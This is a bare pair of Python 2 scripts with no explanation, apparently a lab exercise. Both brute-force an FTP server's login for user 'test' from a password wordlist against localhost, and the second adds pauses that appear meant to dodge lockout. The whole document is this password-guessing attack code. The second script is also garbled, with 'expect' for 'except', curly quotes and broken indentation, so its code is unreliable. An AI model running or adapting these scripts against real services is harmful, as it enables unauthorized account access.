import socket
  import sys
  
  for i in open(sys.argv[1], "r"):
  
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(("127.0.0.1",21))
	data = s.recv(1024)
	s.send("USER test\r\n")
	data = s.recv(1024)
	s.send("PASS {}\r\n".format(i.rstrip()))
	data = s.recv(1024)
	if "230" in data:
		print "Password  is {}".format(i.rstrip())
		break


  import ftplib
  import time
  
  ftp = ftplib.FTP("127.0.0.1")
  c = 0
  
  for passw in open("pwd.txt", “r”):
      pwd = passw.rstrip()
      if c <= 3:
           try:
              ftp.login("test", str(pwd))
              print “Password for user tesi is {}”.format(pwd)
          expect:
              pass
       else:
          time.sleep(5)
          try:
             ftp.login("test", str(pwd))
             print “Password for user tesi is {}”.format(pwd)
          expect:
             pass
           c = 0
      c = c +1